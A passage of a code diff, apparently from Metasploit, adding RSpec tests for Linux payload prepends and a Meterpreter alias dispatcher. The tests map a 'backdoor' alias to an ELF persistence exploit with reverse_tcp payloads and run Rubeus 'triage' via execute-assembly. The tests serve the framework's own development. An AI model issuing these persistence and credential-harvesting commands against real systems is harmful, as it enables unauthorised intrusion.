"\x7fELF\x02\x01\x01\x00".b + ("\x00".b * 8) + header = identifier + [2, machine, 1, entrypoint, 64, 0, 0, 64, 56, 2, 0, 0, 0].pack('vvVQ '3.17', + 'PrependExecOnce' => enabled + } + end + object.define_singleton_method(:staged?) { false } + object + end + + { + x86: Msf::Payload::Linux::X86::Prepends, + x64: Msf::Payload::Linux::X64::Prepends, + aarch64: Msf::Payload::Linux::Aarch64::Prepends + }.each do |architecture, prepends_module| + context architecture do + it 'generates every prepend and append' do + object = prepend_object(prepends_module, enabled: false) + generated = object.prepends_map.merge(object.appends_map) + + expect(generated).not_to be_empty + expect(generated.values).to all(be_a(String)) + expect(generated.values).not_to include('') + end + + it 'applies a first prepend containing a volatile marker path' do + baseline = 'PAYLOAD'.b + guarded = prepend_object(prepends_module, enabled: true).apply_prepends(baseline.dup) + + expect(prepend_object(prepends_module, enabled: false).apply_prepends(baseline.dup)).to eq(baseline) + expect(prepends_module.instance_method(:prepends_order).bind(Object.new).call.first).to eq('PrependExecOnce') + expect(guarded.bytesize).to be > baseline.bytesize + expect(guarded).to include('/dev/shm/.msf-') + expect(guarded).to end_with(baseline) + end + end + end +end diff --git a/spec/lib/rex/post/meterpreter/ui/console/meterpreter_alias_configuration_spec.rb b/spec/lib/rex/post/meterpreter/ui/console/meterpreter_alias_configuration_spec.rb new file mode 100644 index 0000000000000..bb8c3395248b6 --- /dev/null +++ b/spec/lib/rex/post/meterpreter/ui/console/meterpreter_alias_configuration_spec.rb @@ -0,0 +1,73 @@ +# frozen_string_literal: true + +require 'spec_helper' +require 'rex/post/meterpreter/ui/console/meterpreter_alias_configuration' +require 'tempfile' + +RSpec.describe Rex::Post::Meterpreter::Ui::Console::MeterpreterAliasConfiguration do + def load_yaml(yaml, module_validator: nil) + Tempfile.create(['meterpreter-aliases', '.yml']) do |file| + file.write(yaml) + file.flush + return described_class.load(path: file.path, module_validator: module_validator) + end + end + + let(:valid_yaml) do + <<~YAML + version: 1 + aliases: + example: + description: Run an example module + platforms: [linux] + module: post/linux/gather/enum_system + positional: + - option: TARGET_PATH + required: true + defaults: + VERBOSE: false + switches: + "-x": + description: Enable execution + options: + EXECUTE: true + architecture_options: + source: sysinfo + values: + aarch64: + TARGET: 2 + YAML + end + + it 'normalizes and freezes valid YAML' do + configuration = load_yaml(valid_yaml) + + expect(configuration['aliases']['example']['architecture_options']['values']['aarch64']['TARGET']).to eq(2) + expect(configuration).to be_frozen + expect(configuration['aliases']['example']).to be_frozen + end + + it 'accepts hyphenated alias names' do + configuration = load_yaml(valid_yaml.sub('example:', 'execute-assembly:')) + + expect(configuration['aliases']).to include('execute-assembly') + end + + it 'rejects unavailable modules' do + expect do + load_yaml(valid_yaml, module_validator: ->(_module_name) { false }) + end.to raise_error(described_class::Error, /module is unavailable or unsupported/) + end + + it 'rejects unknown keys with alias context' do + expect do + load_yaml(valid_yaml.sub('platforms: [linux]', "platforms: [linux]\n arbitrary: true")) + end.to raise_error(described_class::Error, /Alias 'example'.*unknown key: arbitrary/) + end + + it 'rejects YAML object deserialization' do + expect do + load_yaml("--- !ruby/object:Object {}\n") + end.to raise_error(described_class::Error, /Unable to parse Meterpreter alias configuration/) + end +end diff --git a/spec/lib/rex/post/meterpreter/ui/console/meterpreter_alias_dispatcher_spec.rb b/spec/lib/rex/post/meterpreter/ui/console/meterpreter_alias_dispatcher_spec.rb new file mode 100644 index 0000000000000..048d0254640da --- /dev/null +++ b/spec/lib/rex/post/meterpreter/ui/console/meterpreter_alias_dispatcher_spec.rb @@ -0,0 +1,101 @@ +# frozen_string_literal: true + +require 'spec_helper' +require 'rex/post/meterpreter/ui/console/meterpreter_alias_configuration' +require 'rex/post/meterpreter/ui/console/meterpreter_alias_dispatcher' + +RSpec.describe Rex::Post::Meterpreter::Ui::Console::MeterpreterAliasDispatcher do + let(:session) { instance_double(Msf::Sessions::Meterpreter) } + let(:console) do + console = Rex::Post::Meterpreter::Ui::Console.new(session) + console.disable_output = true + console + end + let(:registry) do + Rex::Post::Meterpreter::Ui::Console::MeterpreterAliasConfiguration.load( + path: ::File.join(Msf::Config.data_directory, 'meterpreter_aliases.yml') + ) + end + let(:reload_callback) { instance_double(Proc) } + + before do + allow(session).to receive(:console).and_return(console) + allow(session).to receive(:name).and_return('test client name') + allow(session).to receive(:sid).and_return(1) + end + + subject(:dispatcher) { described_class.new(console, registry: registry, reload_callback: reload_callback) } + + { + ARCH_X64 => ['0', 'linux/x64/meterpreter/reverse_tcp'], + ARCH_X86 => ['1', 'linux/x86/meterpreter/reverse_tcp'], + ARCH_AARCH64 => ['2', 'linux/aarch64/meterpreter/reverse_tcp'] + }.each do |architecture, (target, payload_name)| + it "runs architecture options for #{architecture}" do + allow(session).to receive(:platform).and_return('linux') + allow(session).to receive_message_chain(:sys, :config, :sysinfo).and_return('Architecture' => architecture) + expect(session).to receive(:execute_script).with( + 'exploit/linux/persistence/elf', + 'PrependExecOnce=false', + "TARGET=#{target}", + "PAYLOAD=#{payload_name}", + 'ELF_PATH=/usr/bin/true' + ) + + expect(dispatcher.cmd_backdoor('/usr/bin/true')).to be(true) + end + end + + it 'applies switch options' do + allow(session).to receive(:platform).and_return('linux') + allow(session).to receive_message_chain(:sys, :config, :sysinfo).and_return('Architecture' => ARCH_AARCH64) + expect(session).to receive(:execute_script).with( + 'exploit/linux/persistence/elf', + 'PrependExecOnce=true', + 'TARGET=2', + 'PAYLOAD=linux/aarch64/meterpreter/reverse_tcp', + 'PayloadLinuxMinKernel=3.17', + 'ELF_PATH=/usr/bin/true' + ) + + expect(dispatcher.cmd_backdoor('/usr/bin/true', '-x')).to be(true) + end + + it 'runs execute-assembly with an optional argument string' do + allow(session).to receive(:platform).and_return('windows') + expect(session).to receive(:execute_script).with( + 'post/windows/manage/execute_dotnet_assembly', + 'DOTNET_EXE=/tmp/Rubeus.exe', + 'ARGUMENTS=triage /nowrap' + ) + + expect(dispatcher.public_send('cmd_execute-assembly', '/tmp/Rubeus.exe', 'triage /nowrap')).to be(true) + end + + it 'runs the persistence suggester alias' do + allow(session).to receive(:platform).and_return('linux') + expect(session).to receive(:execute_script).with('post/multi/recon/persistence_suggester') + + expect(dispatcher.cmd_enum_persistence).to be(true) + end + + it 'hides aliases that do not support the session platform' do + allow(session).to receive(:platform).and_return('windows') + + expect(dispatcher.commands).not_to include('backdoor') + expect(dispatcher.cmd_backdoor('/usr/bin/true')).to be(false) + end + + it 'rejects unknown switches' do + allow(session).to receive(:platform).and_return('linux') + + expect(session).not_to receive(:execute_script) + expect(dispatcher.cmd_backdoor('/usr/bin/true', '-z')).to be(false) + end + + it 'reloads through the plugin callback' do + allow(reload_callback).to receive(:call).and_return(true) + + expect(dispatcher.cmd_aliases_reload).to be(true) + end +end